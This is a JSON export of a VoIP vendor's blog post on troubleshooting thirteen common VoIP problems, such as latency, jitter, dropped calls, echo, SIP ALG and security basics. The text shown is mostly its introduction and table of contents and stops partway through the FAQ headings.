{"id":5104,"date":"2024-06-26T10:40:35","date_gmt":"2024-06-26T10:40:35","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=5104"},"modified":"2025-09-05T10:58:49","modified_gmt":"2025-09-05T10:58:49","slug":"voip-troubleshooting","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/","title":{"rendered":"VoIP Troubleshooting: 13 Common VoIP Problems and Solutions"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">VoIP technology has revolutionized the way we communicate. However, like every other technology, VoIP comes with its challenges. Choppy calls, dropped connections and one-sided conversations are common issues with VoIP. <\/span><b>According to a survey, 51% of respondents stated that audio issues are the biggest problem during virtual meetings.<\/b><span style=\"font-weight: 400;\"> These glitches can not only disrupt workflows but also damage your professional image. But don&#8217;t worry! This VoIP troubleshooting guide will equip you with the knowledge to resolve these problems and ensure crystal-clear VoIP communication.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">We\u2019re diving into the top thirteen issues along with VoIP troubleshooting strategies. Before that, let\u2019s quickly grasp some popular VoIP facts.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4e6a9d930\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4e6a9d930\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#An_Introduction_to_VoIP\" title=\"An Introduction to VoIP\">An Introduction to VoIP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#13_Common_VoIP_Issues_with_Troubleshooting_Tips\" title=\"13 Common VoIP Issues with Troubleshooting Tips\">13 Common VoIP Issues with Troubleshooting Tips<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#1_Latency_and_Jitter\" title=\"1. Latency and Jitter\">1. Latency and Jitter<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Latency_or_The_Time_Lag\" title=\"Latency or \u2018The Time Lag\u2019\">Latency or \u2018The Time Lag\u2019<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Jitter\" title=\"Jitter\u00a0\">Jitter\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_and_Resolution_for_Latency_and_Jitter\" title=\"VoIP Troubleshooting and Resolution for Latency and Jitter\">VoIP Troubleshooting and Resolution for Latency and Jitter<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Run_an_Internet_Speed_Test\" title=\"Run an Internet Speed Test\">Run an Internet Speed Test<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Install_Jitter_Buffers\" title=\"Install Jitter Buffers\">Install Jitter Buffers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Prefer_Wired_over_Wireless\" title=\"Prefer Wired over Wireless\u00a0\">Prefer Wired over Wireless\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Upgrade_to_Newer_Equipment\" title=\"Upgrade to Newer Equipment\u00a0\">Upgrade to Newer Equipment\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#2_Poor_Call_Quality_or_Choppy_Audio\" title=\"2. Poor Call Quality or Choppy Audio\">2. Poor Call Quality or Choppy Audio<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Choppy_Call_Audio_or_Poor_Call_Quality\" title=\"VoIP Troubleshooting for Choppy Call Audio or Poor Call Quality\">VoIP Troubleshooting for Choppy Call Audio or Poor Call Quality<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_Speed\" title=\"Check Speed\u00a0\">Check Speed\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Prioritize_Voice_Data\" title=\"Prioritize Voice Data\u00a0\">Prioritize Voice Data\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#3_Dropped_Calls\" title=\"3. Dropped Calls\">3. Dropped Calls<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Dropped_Calls\" title=\"VoIP Troubleshooting for Dropped Calls\">VoIP Troubleshooting for Dropped Calls<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Reduce_Packet_Loss\" title=\"Reduce Packet Loss\u00a0\">Reduce Packet Loss\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Restart_Your_Equipment\" title=\"Restart Your Equipment\u00a0\">Restart Your Equipment\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_for_Network_Outages\" title=\"Check for Network Outages\u00a0\">Check for Network Outages\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Review_Firewall_and_Router_Settings\" title=\"Review Firewall and Router Settings\u00a0\">Review Firewall and Router Settings\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#4_Echoing_or_Hearing_Your_Own_Voice\" title=\"4. Echoing or Hearing Your Own Voice\u00a0\">4. Echoing or Hearing Your Own Voice\u00a0<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Acoustic_Feedback\" title=\"Acoustic Feedback\u00a0\">Acoustic Feedback\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Problem_with_VoIP_Phone_System\" title=\"Problem with VoIP Phone System\">Problem with VoIP Phone System<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Internet_Connection_Issue\" title=\"Internet Connection Issue\">Internet Connection Issue<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Malfunctioning_or_Improper_Speaker_Placement\" title=\"Malfunctioning or Improper Speaker Placement\">Malfunctioning or Improper Speaker Placement<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Echoing\" title=\"VoIP Troubleshooting for Echoing\u00a0\">VoIP Troubleshooting for Echoing\u00a0<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Consider_Your_Mic_Placement\" title=\"Consider Your Mic Placement\u00a0\">Consider Your Mic Placement\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_your_Connection\" title=\"Check your Connection\u00a0\">Check your Connection\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_Microphone_Settings\" title=\"Check Microphone Settings\u00a0\">Check Microphone Settings\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_for_Electromagnetic_Interference\" title=\"Check for Electromagnetic Interference\">Check for Electromagnetic Interference<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#5_Call_Connects_with_No_Sound\" title=\"5. Call Connects with No Sound\">5. Call Connects with No Sound<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_Steps_for_Calls_with_No_Sound\" title=\"VoIP Troubleshooting Steps for Calls with No Sound\u00a0\">VoIP Troubleshooting Steps for Calls with No Sound\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-33\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#6_VoIP_Device_Wont_Make_andor_Receive_Calls\" title=\"6. VoIP Device Won\u2019t Make and\/or Receive Calls\">6. VoIP Device Won\u2019t Make and\/or Receive Calls<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-34\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_Process_When_Unable_to_Make_Receive_Calls\" title=\"VoIP Troubleshooting Process When Unable to Make\/ Receive Calls\u00a0\">VoIP Troubleshooting Process When Unable to Make\/ Receive Calls\u00a0<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-35\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Turning_Off_SIP_ALG\" title=\"Turning Off SIP ALG\u00a0\">Turning Off SIP ALG\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-36\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Update_and_Restart\" title=\"Update and Restart\">Update and Restart<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-37\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#7_Calls_Go_to_Voicemail_Unexpectedly\" title=\"7. Calls Go to Voicemail Unexpectedly\">7. Calls Go to Voicemail Unexpectedly<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-38\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Missed_Calls\" title=\"VoIP Troubleshooting for Missed Calls\u00a0\">VoIP Troubleshooting for Missed Calls\u00a0<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-39\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Logged_In_and_Linked\" title=\"Logged In and Linked\">Logged In and Linked<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-40\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Number_Check\" title=\"Number Check\">Number Check<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-41\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Call_Forwarding\" title=\"Call Forwarding\">Call Forwarding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-42\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Do_Not_Disturb_Mode\" title=\"Do Not Disturb Mode\">Do Not Disturb Mode<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-43\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_Ringer_Volume\" title=\"Check Ringer Volume\">Check Ringer Volume<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-44\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#8_One_VoIP_Phone_Works_But_Other_Doesnt\" title=\"8. One VoIP Phone Works But Other Doesn\u2019t\u00a0\">8. One VoIP Phone Works But Other Doesn\u2019t\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-45\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Issues_with_the_Phone_Device\" title=\"VoIP Troubleshooting for Issues with the Phone\/ Device\u00a0\">VoIP Troubleshooting for Issues with the Phone\/ Device\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-46\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#9_Phone_Doesnt_Ring_for_Inbound_Calls\" title=\"9. Phone Doesn\u2019t Ring for Inbound Calls\u00a0\">9. Phone Doesn\u2019t Ring for Inbound Calls\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-47\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Phone_Not_Ringing_for_Incoming_Calls\" title=\"VoIP Troubleshooting for Phone Not Ringing for Incoming Calls\">VoIP Troubleshooting for Phone Not Ringing for Incoming Calls<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-48\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#10_Security_Breaches\" title=\"10. Security Breaches\">10. Security Breaches<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-49\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Eavesdropping\" title=\"Eavesdropping\">Eavesdropping<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-50\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Voice_Phishing_or_Vishing\" title=\"Voice Phishing or Vishing\">Voice Phishing or Vishing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-51\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Malware\" title=\"Malware\">Malware<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-52\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Denial-of-Service_Attacks\" title=\"Denial-of-Service Attacks\">Denial-of-Service Attacks<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-53\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_a_Secure_Calling_Experience\" title=\"VoIP Troubleshooting for a Secure Calling Experience\u00a0\">VoIP Troubleshooting for a Secure Calling Experience\u00a0<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-54\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Use_Strong_Passwords\" title=\"Use Strong Passwords\">Use Strong Passwords<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-55\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Employ_Strong_Encryption\" title=\"Employ Strong Encryption\">Employ Strong Encryption<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-56\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Implement_Firewalls_and_Antivirus_Software\" title=\"Implement Firewalls and Antivirus Software\">Implement Firewalls and Antivirus Software<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-57\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Identify_and_Remove_Rogue_Devices\" title=\"Identify and Remove Rogue Devices\">Identify and Remove Rogue Devices<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-58\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Implement_VLAN_Tagging\" title=\"Implement VLAN Tagging\">Implement VLAN Tagging<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-59\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#_Networking_and_LAN_Issues\" title=\"\u00a0Networking and LAN Issues\u00a0\">\u00a0Networking and LAN Issues\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-60\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#11_VoIP_Troubleshooting_for_Correct_LAN_Set-Up\" title=\"11. VoIP Troubleshooting for Correct LAN Set-Up\">11. VoIP Troubleshooting for Correct LAN Set-Up<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-61\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Power_Cycle_the_Router\" title=\"Power Cycle the Router\">Power Cycle the Router<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-62\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Configure_QoS_Settings\" title=\"Configure QoS Settings\">Configure QoS Settings<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-63\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Adjust_SIP_ALG_and_Port_Forwarding\" title=\"Adjust SIP ALG and Port Forwarding\">Adjust SIP ALG and Port Forwarding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-64\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Upgrade_Your_Router\" title=\"Upgrade Your Router\">Upgrade Your Router<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-65\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Place_your_Router_Strategically\" title=\"Place your Router Strategically\u00a0\">Place your Router Strategically\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-66\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#12_WAN_and_Internet_Connectivity\" title=\"12. WAN and Internet Connectivity\">12. WAN and Internet Connectivity<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-67\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Problems_in_WAN_and_Internet_Connectivity\" title=\"VoIP Troubleshooting for Problems in WAN and Internet Connectivity\">VoIP Troubleshooting for Problems in WAN and Internet Connectivity<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-68\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#1_Ensure_Your_Internet_Package_Supports_VoIP\" title=\"1. Ensure Your Internet Package Supports VoIP\">1. Ensure Your Internet Package Supports VoIP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-69\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#2_Check_WAN_Connectivity_and_Internet_Speeds\" title=\"2. Check WAN Connectivity and Internet Speeds\">2. Check WAN Connectivity and Internet Speeds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-70\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#3_Address_Jitter_and_Packet_Loss_Causes\" title=\"3. Address Jitter and Packet Loss Causes\">3. Address Jitter and Packet Loss Causes<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-71\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#13_Challenges_with_Faxing\" title=\"13. Challenges with Faxing\u00a0\">13. Challenges with Faxing\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-72\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#VoIP_Troubleshooting_for_Faxing_Machines_and_Other_Devices\" title=\"VoIP Troubleshooting for Faxing Machines and Other Devices\u00a0\">VoIP Troubleshooting for Faxing Machines and Other Devices\u00a0<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-73\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_Device_Compatibility\" title=\"Check Device Compatibility\u00a0\">Check Device Compatibility\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-74\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Optimize_Fax_Speed\" title=\"Optimize Fax Speed\">Optimize Fax Speed<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-75\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Minimize_Network_Traffic\" title=\"Minimize Network Traffic\u00a0\">Minimize Network Traffic\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-76\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Verify_Fax_Connection\" title=\"Verify Fax Connection\u00a0\">Verify Fax Connection\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-77\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Check_Fax_Settings\" title=\"Check Fax Settings\u00a0\">Check Fax Settings\u00a0<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-78\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Summary\" title=\"Summary\">Summary<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-79\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Frequently_Asked_Questions\" title=\"Frequently Asked Questions\">Frequently Asked Questions<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-80\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Why_are_my_VoIP_calls_experiencing_poor_call_quality\" title=\"Why are my VoIP calls experiencing poor call quality?\">Why are my VoIP calls experiencing poor call quality?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-81\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Why_are_my_VoIP_calls_not_connecting_to_certain_numbers\" title=\"Why are my VoIP calls not connecting to certain numbers?\">Why are my VoIP calls not connecting to certain numbers?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-82\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Why_am_I_experiencing_one-way_audio_on_my_VoIP_calls\" title=\"Why am I experiencing one-way audio on my VoIP calls?\">Why am I experiencing one-way audio on my VoIP calls?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-83\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Why_is_my_VoIP_call_volume_too_low\" title=\"Why is my VoIP call volume too low?\">Why is my VoIP call volume too low?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-84\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/voip-troubleshooting\/#Why_cant_I_make_outbound_calls_on_my_VoIP_phone\" title=\"Why can&#8217;t I make outbound calls on my 